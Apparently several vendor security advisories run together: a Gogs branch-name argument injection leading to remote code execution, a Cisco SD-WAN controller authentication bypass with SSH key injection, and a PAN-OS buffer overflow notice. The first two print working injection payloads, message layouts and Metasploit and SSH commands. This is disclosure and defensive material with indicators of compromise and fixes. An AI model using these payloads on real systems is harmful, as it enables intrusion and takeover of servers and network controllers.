When this is used as pr.BaseBranch, the rebase command becomes:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

Git's argument parser treats --exec=touch${IFS}/tmp/rce_proof as the --exec flag, not a branch name. --exec runs the value via sh -c after each replayed commit, and ${IFS} expands to a space in the shell, bypassing Git's prohibition on spaces in branch names.

For commands containing characters forbidden in Git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the payload is base64-encoded:

--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh

The vulnerability affects Windows installations as well, but the payload delivery method differs. On Linux, the payload can be base64-encoded inline in the branch name (e.g. --exec=echo${IFS}<b64>|base64${IFS}-d|sh). On Windows, this fails because NTFS forbids the | (pipe) character in filenames, and Git stores branch refs as files at refs/heads/<branch_name>.

The solution is file-based payload delivery where the exploit commits a script file (e.g. .abcdef) to the repository and uses a short, filesystem-safe branch name: --exec=sh${IFS}.abcdef. An additional complication is that MSYS2's sh (bundled with Git for Windows) mangles shell metacharacters like $, &, and backticks in the payload before PowerShell can process them. To avoid this, the script file invokes cmd.exe //c .abcdef.bat (where //c is the MSYS2 escaping for /c), which natively executes the .bat file containing the PowerShell payload without shell interpretation issues. The Metasploit module implements this cross-platform approach automatically.

Execution flow during Merge()

The MergeStyleRebase code path in Merge() runs these Git commands sequentially:

Step

Command

Result with malicious branch

1

git clone -b '<malicious>' <repo> <tmp>

Succeeds - -b consumes --exec=... as the branch value

2

git remote add head_repo <repo> + git fetch head_repo

Succeeds normally

3

git rebase --quiet '<malicious>' 'head_repo/feature'

RCE fires here. --exec=<cmd> parsed as flag, command runs via sh -c

4

git checkout -b <tmpBranch>

Succeeds (tmpBranch is a server-generated timestamp)

5

git checkout '<malicious>'

Fails - Git interprets --exec=... as an invalid option for checkout

Step 5 fails and Merge() returns HTTP 500, but the RCE already fired at Step 3. The 500 gets logged but doesn't undo anything.

Because the merge aborts partway through, the repository's git state is left corrupted (stuck in a partial rebase). This means the exploit can only be fired once per repository. In cases where the attacker created the repo themselves, this doesn't matter since the repo is deleted afterward, but when targeting an existing repository, the repo is effectively burned after a single use.

Why the PR becomes mergeable

For the exploit to work, the PR needs to reach "Mergeable" status so the merge button is available. This depends on an interesting race condition in how Gogs validates PRs:

  1. During PR creation, testPatch() calls UpdateLocalCopyBranch(pr.BaseBranch). For a fresh repo with no local copy, it takes the Clone path, which includes --end-of-options. The malicious branch name is treated as data, clone succeeds, testPatch completes normally.

  2. Since testPatch didn't flag a conflict, the status gets promoted to PullRequestStatusMergeable.

  3. The background TestPullRequests goroutine periodically re-checks PRs. On the next call, the local copy does exist, so UpdateLocalCopyBranch takes the Checkout path instead. This one is missing --end-of-options, so the checkout fails.

  4. That error causes TestPullRequests to skip checkAndUpdateStatus(), meaning the PR stays Mergeable forever.

The default exploit path creates a fresh repository, so the first testPatch always hits the Clone path and succeeds. The same applies when targeting an existing repository that has never had a PR created against it. If the target repo has had prior PRs, the local copy already exists, Checkout fails, and the PR cannot be created.

Relationship to prior argument injection fixes

Gogs has addressed argument injection vulnerabilities across multiple prior advisories. This vulnerability is in the same class but affects a different code path (Merge()) that was never patched:

CVE

Description

Fix Applied

Advisory

CVE-2024-39933

Argument injection when tagging new releases

Added -- separator to git tag

GHSA-m27m-h5gj-wwmg

CVE-2024-39932

Argument injection during changes preview

Added --end-of-options to git diff

GHSA-9pp6-wq8c-3w2c

CVE-2026-26194

Release tag option injection in deletion

Migrated to safe git-module API

GHSA-v9vm-r24h-6rqm

CVE-2024-39930

Argument injection in built-in SSH server

Added -- separator to git upload-pack / git receive-pack

GHSA-vm62-9jw3-c8w3

The git-module library (v1.8.7) was hardened with --end-of-options across Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (wrapping exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.

Exploitation

The Metasploit module automates the full exploit chain against both Linux and Windows targets and supports two modes of operation:

  • own_repo (default): The module creates a temporary repository under the attacker's account, runs the exploit, and deletes the repo on cleanup. This works on any default-configured instance and supports all payload types.

  • existing_repo: The module targets a repository the attacker already has write and merge access to. This is useful on instances where repo creation is restricted. Only command payloads are supported in this mode (staged payloads would require multiple merge cycles, which is not possible due to the repo corruption described above). Cleanup deletes the malicious branches and closes the PR, but the repository's git state remains corrupted.

image1.png
Figure 1: Metasploit module obtaining a meterpreter shell session on a Gogs 0.14.2 instance running on Ubuntu.

On Windows, the module uses the file-based delivery method described above to work around NTFS filename restrictions.

Figure 2: Metasploit module obtaining a Meterpreter session on a Gogs 0.14.2 instance running on Windows 11.

Indicators of compromise (IoCs)

Defenders should watch the Gogs server logs for error entries matching this pattern:

[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'

This is logged via c.Error(err, "merge"), which writes the full error (including the malicious branch name) to the server log at ERROR level. Note that a more cleverly written exploit may not be this obvious in log files.

If the attack targeted an existing repository (rather than one the attacker created and deleted), additional artifacts will be present: the malicious branch name (e.g. --exec=...) in the repository's branch listing, a failed pull request in the PR history, and the repository itself will be in a corrupted git state (returning HTTP 500 on certain operations). On Windows, the committed payload files (e.g. .abcdef, .abcdef.bat) will also remain in the git history. Administrators should audit repositories for branch names beginning with --.

The Metasploit module also creates a Gogs API token (named msf_<hex>) during exploitation. Gogs does not expose a token deletion API endpoint, so this token persists after the attack and remains valid until manually revoked via the web UI or database. Defenders should check user token lists at /-/user/settings/applications for unexpected entries.

The payload file used during exploitation is written to the repository's bare git directory on the server filesystem and will persist after the attack.

Remediation

Gogs 0.14.3, released June 7, 2026, fixes this vulnerability. Rapid7 recommends that all Gogs users upgrade immediately. The fix was implemented via pull request #8301, submitted by Rapid7.

For users who cannot upgrade immediately, the following mitigations reduce exposure:

  • Restricting user registration (DISABLE_REGISTRATION = true in app.ini) to prevent untrusted users from creating accounts. This is the most impactful mitigation since the exploit is self-contained within a single user's repository.

  • Restricting repository creation (MAX_CREATION_LIMIT = 0 in app.ini) to prevent users from creating their own repos. This can also be set per-user via Max Repo Creation in the admin panel. This blocks the easiest attack path (creating a new repo with rebase enabled), but does not prevent exploitation by users with write access to existing repositories.

  • Auditing rebase merge settings: While "Rebase before merging" can be disabled per-repo under Settings > Advanced, note that this is not an effective defense against a malicious user who owns or has admin access to a repo, since they can re-enable rebase at will. There is no global or organization-level setting to restrict this. Disabling rebase is only useful for reducing the attack surface on shared repositories where the attacker has write access but not admin privileges.

Rapid7 Customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to the Authenticated RCE via Argument Injection in Gogs with a vulnerability check available in the May 29 content release. 

Disclosure timeline

  • March 16, 2026: Vulnerability discovered and validated against Gogs 0.14.2 and 0.15.0+dev (commit b53d3162).

  • March 17, 2026: Reported to Gogs maintainers via GitHub Security Advisory (GHSA-qf6p-p7ww-cwr9).

  • March 28, 2026: Maintainer acknowledges receipt.

  • April 21, 2026: Contacted maintainer for a status update (no response).

  • May 6, 2026: Reminded maintainer of previously planned disclosure date, and offered extension if required (no response).

  • May 20, 2026: Advised maintainer the blog release date is finalized for May 28, 2026 (no response).

  • May 28, 2026: This disclosure.

  • May 29, 2026: Rapid7 submits a patch as pull request #8301.

  • June 1, 2026: Rapid7 Customers section added to indicate availability of a vulnerability check.

  • June 6, 2026: Maintainer accepts the pull request and requests CVE assignment from GitHub.

  • June 7, 2026: Gogs 0.14.3 released, fixing this vulnerability along with other security issues.

  • June 8, 2026: GitHub reserves CVE-2026-52806.

Updates

  • May 28, 2026: Initial publication.

  • June 1, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check.

  • June 8, 2026: Updated contents to reflect that the Gogs maintainer accepted Rapid7's patch and released version 0.14.3 on June 7, 2026, which fixes this vulnerability.

  • June 9, 2026: Updated to include assigned CVE-2026-52806.

CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)

Overview

While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.

This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.

This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.

CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.

Technical analysis

The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:

Port

Protocol

Service

22

TCP

SSH (OpenSSH)

830

TCP

NETCONF over SSH

12346

UDP

vdaemon DTLS control plane

UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state - the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.

To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:

Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────>|  ← cert verify logs error but returns OK
   |                                           |
   |<──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────>|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |<──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer->authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────>|  ← passes auth check, peer goes UP
   |                                           |
   |<──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up

After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.

The 12-byte message header format for the vdaemon protocol is as follows:

Byte Offset 

Byte Size 

Field

Notes

0

1

msg_type

Low nibble = type, high nibble = version

1

1

device_info

High nibble = device_type, low nibble = flags

2

1

flags

Standard value of 0xA0

3

1

padding

Always 0x00

4 - 7

4

domain_id

Big-endian uint32

8 - 11

4

site_id

Big-endian uint32

The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:

Value

Device Type

Role

1

vEdge

Data-plane router

2

vHub

Hub router

3

vSmart

Control-plane controller

4

vBond

Orchestrator (trust anchor)

5

vManage

Management plane

6

ZTP

Zero-touch provisioning

This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer's certificate serial number and then enters device-type-specific verification (Note: edited for brevity):

// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // <--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // <--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // <--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // <--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // <--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer->authenticated = true // <--- [6]
return 0LL;                // Success

We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:

At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected - preventing impersonation of existing authorized controllers.

At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which  rejects the peer.

At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which  rejects the peer.

At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.

At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.

The following table summarizes the verification applied to each device type:

Device Type 

Value 

Verification 

Result 

vEdge

1

HW cert, challenge signature, board ID, OTP

Verified

vHub

2

None

Falls through to “peer->authenticated = 1”

vSmart

3

Cert chain, serial lookup, duplicate check

Verified

vBond

4

N/A (trust anchor - handled elsewhere)

-

vManage

5

Cert chain, serial lookup, duplicate check

Verified

Therefore, a remote unauthenticated attacker can bypass authentication by connecting to the vSmart DTLS port with any self-signed client certificate and claiming to be a vHub (type 2) in the CHALLENGE_ACK message. No valid credentials, no CA-signed certificate, and no knowledge of the SD-WAN deployment are required.

Looking further at the message dispatcher, we need to confirm that the CHALLENGE_ACK message can actually reach vbond_proc_challenge_ack() without prior authentication. The answer is in the pre-dispatch authentication gate in vbond_proc_msg():

// vdaemon!vbond_proc_msg()
// Pre-dispatch authentication gate:

if ( *(_BYTE *)(v100 + 70) != 1 // <--- [1]
&& *(_DWORD *)(a3 + 4) != 5      // msg != Hello
&& *(_DWORD *)(a3 + 4) != 8      // msg != CHALLENGE
&& *(_DWORD *)(a3 + 4) != 9      // msg != CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4)           // msg != NEW_CHALLENGE_ACK
&& *(_DWORD *)(a3 + 4) != 10     // msg != CHALLENGE_ACK_ACK
&& *(_DWORD *)(a3 + 4) != 7      // msg != Data
&& *(_DWORD *)(a3 + 4) != 11     // msg != TEAR_DOWN
  // ...snip...
)
{
// ...snip...
    // "Received an unexpected message from an un-authenticated device"
return 20;
}

We can see at [1] above, that the condition is a conjunction of negations: the incoming message is rejected only if the peer is NOT authenticated AND the message type is not one of the pre-authentication allowed types (CHALLENGE, CHALLENGE_ACK, NEW_CHALLENGE_ACK, CHALLENGE_ACK_ACK, Data, and TEAR_DOWN).

CHALLENGE_ACK (Message type 9) is explicitly in the allow list, meaning it passes this gate without authentication and reaches the vulnerable vbond_proc_challenge_ack(). This is by design; the authentication handshake must be able to proceed before the peer is authenticated.

Once the vulnerable vbond_proc_challenge_ack() sets “peer->authenticated = true” via the vHub bypass, the attacker must send a Hello message (Message type 5) to transition the peer to the UP state. The Hello handler has its own secondary authentication check:

// Case 5 (Hello) in vbond_proc_msg - line 20362
case 5:
// ...snip...
if ( *(_BYTE *)(v100 + 70) != 1 ) // <--- [2]
{
// "Received an unexpected HELLO from un-authenticated device"
        // ... cleanup and reject ...
return 0LL;
    }
// Process Hello normally - peer transitions to UP

At [2] above, the Hello handler verifies ”peer->authenticated == true” before processing. After our exploit sets this flag via the vHub bypass, Hello passes this secondary check and the peer transitions to the UP state, a fully trusted control-plane peer.

Putting all the pieces together: the attack chain is DTLS handshake (any cert) → receive CHALLENGE → send CHALLENGE_ACK with device type 2 (vHub) → authentication flag set unconditionally → send Hello → peer transitions to UP.

After establishing as an authenticated peer, the attacker has access to the full range of control-plane message types. We identified a particularly impactful post-authentication primitive: persistent SSH key injection via MSG_VMANAGE_TO_PEER (Message type 14).

The handler for message type 14 is vbond_proc_vmanage_to_peer(). Examining the decompiled code:

// vdaemon!vbond_proc_vmanage_to_peer()

// ...snip...

stream = fopen("/home/vmanage-admin/.ssh/authorized_keys", "a+"); // <--- [1]
if ( stream )
  {
if ( (unsigned __int8)read_key_data((const char *)(a3 + 32), stream) != 1 && *(_BYTE *)(a3 + 32) )
    {
if ( dword_241120 > 6 )
        syslog(
191,
"%s[%d]: %%%s-%d: sshkey not present, writing to file",
"vbond_proc_vmanage_to_peer",
2368LL,
          aVdaemonDbgMisc,
7LL);
      fputs((const char *)(a3 + 32), stream); // <--- [2]
}
    fclose(stream);
  }

// ...snip...

At [1] above, the file is opened in append mode - the attacker's key is added alongside any existing authorized keys, avoiding disruption of legitimate access. At [2], the attacker-controlled key buffer from the message body is written directly via fputs() with no sanitization.

The key injection message body is a fixed 769-byte structure:

Offset

Size

Field

0-767

768

Key buffer ("\n" + ssh_pubkey + "\n" + "\x00" + zero-padding)

768

1

TLV count = 0

⠀⠀

The leading “\n” ensures correct appending regardless of whether the existing authorized_keys file ends with a newline. The null byte terminates the string for fputs(), and the remainder is zero-padded to fill the 768-byte buffer.

Any authenticated peer, regardless of device type, can inject SSH keys into the vmanage-admin user's authorized_keys file on vSmart. The vmanage-admin user is a specific internal, high-privileged service account used for automated communication between the management plane (vManage) and the control plane (vSmart/vBond). This converts a transient control-plane peering session into persistent, credential-independent high-privileged access.

Exploitation

In this example we will use the exploit developed by Rapid7 Labs and target a Cisco Catalyst SD-WAN Controller which has an IP address of 192.168.80.11. In our example, both the vdaemon service and the NETCONF service are bound to the same interface. The attacker will have an IP address of 192.168.80.130. In our example, the target Cisco Catalyst SD-WAN Controller appliance is running version 20.12.6.1, which was the latest available version of the 20.12.* branch at the time of writing.

To begin, the attacker loads the module in Metasploit and configures the required options.

metasploit-module-options-cisco-sdwan-vhub-auth-bypass.png
Figure 1: Metasploit module options for cisco_sdwan_vhub_auth_bypass

The module will perform the authentication bypass and then inject an attacker controlled SSH public key into the authorized keys file for the vmanage-admin user. The module will generate a new RSA key-pair prior to exploitation, so that the attacker will inject a public key for which they have the corresponding private key.

The attacker then sets the target and runs the module.

msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
msf6 auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run

vhub-authentication-bypass-ssh-key-injection.png
Figure 2: Module output showing the vHub authentication bypass and SSH key injection

The attacker can now SSH into the NETCONF service over TCP port 830 by running the following command (as instructed by the exploit above).

ssh -i /home/cryptocat/.msf4/loot/20260501115947_default_192.168.80.11_cisco.sdwan.sshk_491665.pem vmanage-admin@192.168.80.11 -p 830

SSH public key authentication will succeed, and the attacker will have successfully established a connection to the NETCONF service.

ssh-connection-to-NETCONF-service.png
Figure 3: Successful SSH connection to the NETCONF service as vmanage-admin

At this point the attacker can begin to execute arbitrary NETCONF commands, for example the following “get-config” command can be run by the attacker in the NETCONF session.

<?xml version="1.0" encoding="UTF-8"?><hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><capabilities><capability>urn:ietf:params:netconf:base:1.0</capability></capabilities></hello>]]>]]><rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"><get-config><source><running/></source></get-config></rpc>]]>]]>

The output of the get-config command is shown below.

NETCONF-get-config-output.png
Figure 4: NETCONF get-config output from the compromised controller

Remediation

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Customers are advised to upgrade to an appropriate fixed software release as indicated in the Fixed Software section of the Cisco Security Advisory. The following tables indicate the appropriate fixed software releases.

Cisco Catalyst SD-WAN Release

First Fixed Release

Earlier than 20.9*

Migrate to a fixed release

20.9

20.9.9.1

20.10

20.12.7.1

20.11*

20.12.7.1

20.12

20.12.5.4, 20.12.6.2, 20.12.7.1

20.13*

20.15.5.2

20.14*

20.15.5.2

20.15

20.15.4.4, 20.15.5.2

20.16*

20.18.2.2

20.18

20.18.2.2

26.1.1

26.1.1.1

*These releases have reached the end of software maintenance. Cisco strongly encourages customers to upgrade to a supported release.


For additional details, please see the vendor advisory.

Vendor statement

"Cisco values the role of the security research community in helping maintain a secure ecosystem and we appreciate the collaboration with Rapid7. We have released a software update to remediate the identified vulnerability. We remain committed to transparent communication and to providing our customers with the robust security and resilience they expect."

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-20182 with an authenticated vulnerability check expected to be available in the May 14th, 2026 content release.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher, and Jonah Burgess, Senior Security Researcher, both at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

  • March 9, 2026: Rapid7 makes initial outreach to Cisco who confirms contact the same day. Rapid7 discloses the technical writeup and exploit code to Cisco.

  • March 11, 2026: Cisco confirms receipt of the technical writeup and exploit code and suggests a disclosure date of May 7, 2026.

  • March 20, 2026: Cisco confirms the vulnerability findings, and that a CVE will be reserved.

  • April 21, 2026: Cisco provides reserved CVE identifier and remediation guidance.

  • April 24, 2026: Cisco provides remediation version numbers, alignment on CWE and CVSS scoring, and requests moving disclosure date to May 14.

  • May 14, 2026: This disclosure.

Updates

  • May 15, 2026: Added link to the Metasploit module.

Critical Buffer Overflow in Palo Alto Networks PAN-OS User-ID Authentication Portal (CVE-2026-0300)

Overview

On May 6, 2026, Palo Alto Networks published a security advisory for CVE-2026-0300, a critical unauthenticated buffer overflow vulnerability affecting PAN-OS PA-Series and VM-Series firewall appliances. Prisma Access, Cloud NGFW, and Panorama appliances are not affected by this vulnerability. The vulnerability carries a CVSSv4 score of 9.3 and has been confirmed as exploited in the wild by the vendor.

CVE-2026-0300 is a buffer overflow (CWE-787) in the User-ID™ Authentication Portal (also known as Captive Portal), a non-default PAN-OS feature used to map IP addresses to usernames. An unauthenticated remote attacker can exploit this vulnerability by sending specially crafted packets to a device with the Authentication Portal enabled, achieving arbitrary code execution with root privileges on the affected firewall. No authentication or user interaction is required.

Palo Alto Networks has confirmed limited exploitation in the wild targeting Authentication Portals exposed to either untrusted IP addresses or the public internet. No patches are currently available; fixed versions are expected to begin rolling out on May 13, 2026, with additional releases through May 28, 2026.

PAN-OS is among the most widely deployed enterprise firewall operating systems in the world. Shodan identifies approximately 225,000 internet-facing PAN-OS instances, representing a significant attack surface. Rapid7 strongly urges all organizations running affected PAN-OS versions with the User-ID Authentication Portal enabled to apply the available workarounds immediately and prioritize patching as soon as fixed versions become available.

Update #1: On May 6, 2026, CVE-2026-0300 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Palo Alto Networks Unit 42 also published a threat brief attributing observed exploitation to CL-STA-1132, a likely state-sponsored threat cluster that deployed open-source tunneling tools and conducted Active Directory enumeration following initial compromise.

Mitigation guidance

Organizations running PA-Series and VM-Series firewalls with the User-ID™ Authentication Portal enabled should apply the available workarounds immediately and prioritize patching as soon as fixed versions are released. Check the official documentation to establish whether the affected User-ID™ Authentication Portal is currently enabled.

According to the Palo Alto Networks advisory, the following versions are affected by CVE-2026-0300:

Product

Affected

Unaffected

Fix ETA

PAN-OS 12.1

< 12.1.4-h5

< 12.1.7

>= 12.1.4-h5

>= 12.1.7

05/13

05/28

PAN-OS 11.2

< 11.2.4-h17

< 11.2.7-h13

< 11.2.10-h6

< 11.2.12

>= 11.2.4-h17

>= 11.2.7-h13

>= 11.2.10-h6

>= 11.2.12

05/28

05/13

05/13

05/28

PAN-OS 11.1

< 11.1.4-h33

< 11.1.6-h32

< 11.1.7-h6

< 11.1.10-h25

< 11.1.13-h5

< 11.1.15

>= 11.1.4-h33

>= 11.1.6-h32

>= 11.1.7-h6

>= 11.1.10-h25

>= 11.1.13-h5

>= 11.1.15

05/13

05/13

05/28

05/13

05/13

05/28

PAN-OS 10.2

< 10.2.7-h34

< 10.2.10-h36

< 10.2.13-h21

< 10.2.16-h7

< 10.2.18-h6

>= 10.2.7-h34

>= 10.2.10-h36

>= 10.2.13-h21

>= 10.2.16-h7

>= 10.2.18-h6

05/28

05/13

05/28

05/28

05/13

As of May 13, 2026, the first round of patches has been published. Until the remaining awaited patches are available, Palo Alto Networks recommends one of the following workarounds:

  • Restrict User-ID™ Authentication Portal access to only trusted internal zones. Refer to Step 6 of the Live Community article and the Knowledgebase article for instructions on restricting access.

  • Disable User-ID™ Authentication Portal entirely if it is not required (Device > User Identification > Authentication Portal Settings > uncheck Enable Authentication Portal).

Please refer to the vendor advisory for the latest guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0300 with authenticated vulnerability checks available in the May 6th, 2026 content release.

Updates

  • May 6, 2026: Initial publication.

  • May 7, 2026: Updated overview to note the addition to CISA KEV and the Unit 42 threat brief attributing exploitation to CL-STA-1132.
  • May 13, 2026: Updated Mitigation guidance section to state that patches expected on May 13 have been published.

❌